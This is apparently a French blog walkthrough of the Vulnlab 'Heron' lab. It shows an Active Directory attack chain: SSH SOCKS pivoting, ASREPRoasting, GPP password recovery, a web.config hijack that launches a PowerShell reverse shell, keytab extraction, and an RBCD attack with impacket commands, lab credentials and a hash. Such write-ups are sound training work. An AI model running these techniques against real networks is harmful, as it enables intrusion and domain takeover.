Vulnlab - Heron

Heron est un lab de difficulté moyenne. Le scénario suppose une compromission initiale sur une machine Linux jointe à un domaine, nécessitant un pivot vers un contrôleur de domaine pour tenter de le compromettre.

Enumération

Commençons par le scan Nmap habituel :

Le scan montre que la machine 10.10.168.69 n’a pas de ports accessibles, probablement en raison d’un firewall. En revanche, 10.10.168.70 a le port 22 ouvert. Cela suggére que nous devons commencer en nous connectons à la machine Linux via SSH.
La page Wiki nous indique qu’il s’agit d’un scénario de compromission supposée. Heron Corp nous fourni des identifiants poour le test d’intrusion :

Proxy SOCKS vers le DC

Comment mentionné précédemment, la première étape consiste à examiner la machine Linux jointe au domaine et à identifier des moyens d’obtenir un accés root. Une fois l’accès root obtenu, nous devrions pouvoir utiliser le compte machine et le fichier /etc/krb5.keytab (contenant le hash NTLM du compte machine) pour compromettre le contrôleur de domaine.

Aprés avoir exploré les fichiers de la machine, je remarque qu’il n’y a pas grand chose à exploiter. Nous n’avons pas accès aux autres utilisateurs et aucun binaire n’est exploitanle en tant que l’utilisateur pentest. En revanche, on peut récupérer le nom de deux utilisateurs grâce aux répertoires dans le dossier /home :

Comme nous avons ces deux utilisateurs, on peut tenter une attaque de type ASREPRoasting pour essayer d’obtenir le hash de leur mot de passe dans le cas où la préauthentification n’est pas active sur ces comptes.

Comme nous n’avons pas accés directement au controleur de domaine, il faut d’abord établir un proxy. Pour ce faire, il y’a plusieurs méthode disponibles (ligolo, revsocks) mais ici la maniere la plus simple et de le faire via ssh avec la commande suivante :

ssh [email protected] -D 1080

Cette commande permet de rediriger le traffic qui provient du port 1080 de notre machine local vers 10.10.168.70.
Ensuite, avec proxychains, on peut interagir avec le DC :

Ensuite, j’ai essayé de lancer un scan nmap avec proxychains pour identifier les ports ouverts sur le DC mais c’était beaucoup trop long. J’ai donc décidé d’énumérer directement le DC en passant par la machine linux et en utilisant l’outil fscan :

Cela m’a permis d’identifier un service web sur le DC. En y accédeant avec le proxy, on peut identifier d’autres comptes du domaine :

Ensuite, j’ai fait une énumération des sous domaines pour être sûr de ne rien louper :

Mais il faut s’authentifier pour accéder à ce sous domaine donc il n’est pas exploitable pour l’instant.

ASREPRoasting

En utilisant les utilisateurs récupérés, on peut faire de l’ASREPRoasting avec impacket :

proxychains -q impacket-GetNPUsers heron.vl/ -no-pass -usersfile users -dc-ip 10.10.168.69 -request

On parvient alors a récupérer le hash du mot de passe du compte samuel.davies :

Qu’on parvient à casser avec rockyou :

Enumération du domaine

Avec le compte récupéré, on peut utiliser bloodhoun pour énumérer le domaine via proxychains. Malheuresement, le compte que l’on a récupéré ne possède aucun droit particulier mais cela nous permet de voir que le compte SVC-WEB-ACCOUNTIG possède un SPN et que ce dernier possède le droit GenericWrite sur la machine linux :

En revanche, il n’est pas possible de retrouver le mot de passe du compte SVC-WEB-ACCOUNTING aprés avoir fait du kerberoasting et en essayant de le casser avec rockyou.

Enumération des partages SMB

En utilisant smbclient avec les identifiants de samuel.davies, on peut lister les partages accessibles sur le dc :

On peut alors récupéré le mot de passe d’une gpp à l’aide du module dédié à cela sur nxc :

En sprayant ce mot de passe sur la liste des utilisateurs, on parvient à compromettre le compte svc-web-accounting-d

On remarque alors que ce compte dispose de droits d’écritrue sur le partage accounting du dc :

Accès à l’application accounting

En listant les fichiers du pargages accountig, on découvre les librairies et les fichiers utilisés par l’application :

En particulier, on peut modifier le fichier web.config qui définit les librairies et les executables qui se lance lors de l’execution de l’application. Ainsi, en changenant ce dernier de la maniere suivante :

<?xml version="1.0" encoding="utf-8"?> 
	<configuration> 
		<location path="." inheritInChildApplications="false">
			<system.webServer> 
				<handlers> 
					<add name="aspNetCore" path="execute.now" verb="*" modules="AspNetCoreModuleV2" resourceType="Unspecified" /> 
				</handlers> 
				<aspNetCore processPath="powershell" arguments="-e {revshell}" hostingModel="OutOfProcess" /> 
			</system.webServer> 
		</location> 
</configuration> 
<!--ProjectGuid: 803424B4-7DFD-4F1E-89C7-4AAC782C27C4-->

On peut en accédeant au chemin /execute.now de l’application obtenir un reverse shell :

Recherche de mots de passe sur le DC

Après avoir obtenu un shell, on peut parcourir les différents fichiers du DC. On peut remarquer un dossier scripts dans C:\Windows ce qui n’est pas habituel. Dans ce dernier, on découvre un fichier ssh.ps1 qui contient les identifiants pour le compte _local utilisé pour se connecter en ssh à frajmp :

Extraction des secrets de la machine linux

Avec le compte _local , on peut facilement obtenir un accès root:

En devenant root, on peut alors récupérer le fichie krb5.keytab et récupérer le hash du compte machine avec l’outil keytabextract. py :

En sprayant le mot de passe récupéré précédemment, on peut également compromettre le compte julian.pratt

Par la suite, on peut accéder au repertoire de julian.pratt sur le DC :

On constate que ce dernier semble utiliser les fichiers lnk pour se connecter automatiquement a Putty. Ainsi, en téléchargeant ces derniers et en les affichants, on peut récupérer le mot de passe adm_prju :

On peut alors le sprayer pour vérifier qu’il n’est pas utilisé par un autre utilisateur :

Attaque RBCD

Avec bloodhound, on apprend que adm_prju a des des droits d’écriture sur MUCDC$.

Ce droit peut être exploité pour réalisé une attaque RBCD. Pour faire court, on va ajouter une machine (ici la machine linux) à la liste des machines des confiances du DC ce qui va permettre à cette machine de s’authentifier auprès du DC en se faisant passer pour n’importe quel utilisateur du domaine.

Pour ce faire, on utilise impacket-rbcd :

proxychains -q impacket-rbcd heron.vl/adm_prju:ayDMWV929N9wAiB4 -delegate-to 'MUCDC$' -delegate-from 'FRAJMP$' -dc-ip 10.10.168.69 -action write

Ensuite, on peut récupéré un ticket de service auprés du DC en tant que _admin :

proxychains -q impacket-getST heron.vl/'FRAJMP$' -impersonate _admin -hashes :6f55b3b443ef192c804b2ae98e8254f7 -spn  'cifs/mucdc.heron.vl'

Pour que cela fonctionne, il faut bien préciser un spn car cette attaque nous permet de récupéré un ticket de service. Comme les partages du DC sont accessibles, on peut récupérer un ticket du service SMB cifs (Common Internet File System) qui permet d’accéder aux partages SMB.

Ensuite, on peut utiliser le ticket aprés l’avoir mis en cache dans notre machine grâce à la commande :

export KRB5CCNAME=_admin@[email protected] 

Si le ticket était celui d’un compte machine, il aurait fallut changer le nom car le $ peut poser des problème lors de la mise en cache.

Enfin, avec nxc, on peut utiliser ce ticket avec la commande suivante :

proxychains -q nxc smb ips --use-kcache 

Ce qui nous permet de compromettre le DC et de récupérer la base NTDS :